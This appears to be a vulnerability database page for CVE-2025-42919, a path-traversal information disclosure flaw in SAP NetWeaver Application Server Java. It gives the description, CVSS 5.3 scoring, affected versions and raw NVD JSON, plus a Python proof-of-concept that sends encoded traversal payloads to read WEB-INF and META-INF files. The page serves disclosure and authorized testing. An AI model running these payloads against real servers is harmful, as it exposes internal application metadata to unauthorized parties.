Security Vulnerability Report
中文
CVE-2025-42919 CVSS 5.3 MEDIUM

CVE-2025-42919

Published: 2025-11-11 01:15:39
Last Modified: 2026-04-15 00:35:42

Description

Due to an Information Disclosure vulnerability in SAP NetWeaver Application Server Java, internal metadata files could be accessed via manipulated URLs. An unauthenticated attacker could exploit this vulnerability by inserting arbitrary path components in the request, allowing unauthorized access to sensitive application metadata. This results in a partial compromise of the confidentiality of the information without affecting the integrity or availability of the application server.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SAP NetWeaver Application Server Java 7.50及之前版本
SAP NetWeaver Application Server Java 7.31
SAP NetWeaver Application Server Java 7.40
SAP NetWeaver Application Server Java 7.50

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-42919 PoC - SAP NetWeaver Information Disclosure # Target: SAP NetWeaver Application Server Java target_url = "http://target-server:50000" # Path traversal payloads to access internal metadata files payloads = [ "/../WEB-INF/web.xml", "/..;/..;/WEB-INF/web.xml", "/..%2F..%2FWEB-INF/web.xml", "/..%252F..%252FWEB-INF/web.xml", "/..\\..\\WEB-INF\\web.xml", "/;test=../WEB-INF/web.xml", "/../META-INF/MANIFEST.MF", "/..;/META-INF/maven/pom.xml" ] print(f"[*] Testing CVE-2025-42919 on {target_url}") print("[*] Target: SAP NetWeaver Application Server Java") print("=" * 60) for payload in payloads: url = target_url + payload try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] VULNERABLE: {payload}") print(f" Status: {response.status_code}") print(f" Content-Length: {len(response.content)}") if '<?xml' in response.text or '<?xml version' in response.text: print(f" [+] XML metadata file detected!") except requests.exceptions.RequestException as e: print(f"[-] Error testing {payload}: {e}") print("\n[*] Testing complete") print("[*] Reference: https://me.sap.com/notes/3643603")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42919", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:38.937", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to an Information Disclosure vulnerability in SAP NetWeaver Application Server Java, internal metadata files could be accessed via manipulated URLs. An unauthenticated attacker could exploit this vulnerability by inserting arbitrary path components in the request, allowing unauthorized access to sensitive application metadata. This results in a partial compromise of the confidentiality of the information without affecting the integrity or availability of the application server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://me.sap.com/notes/3643603", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}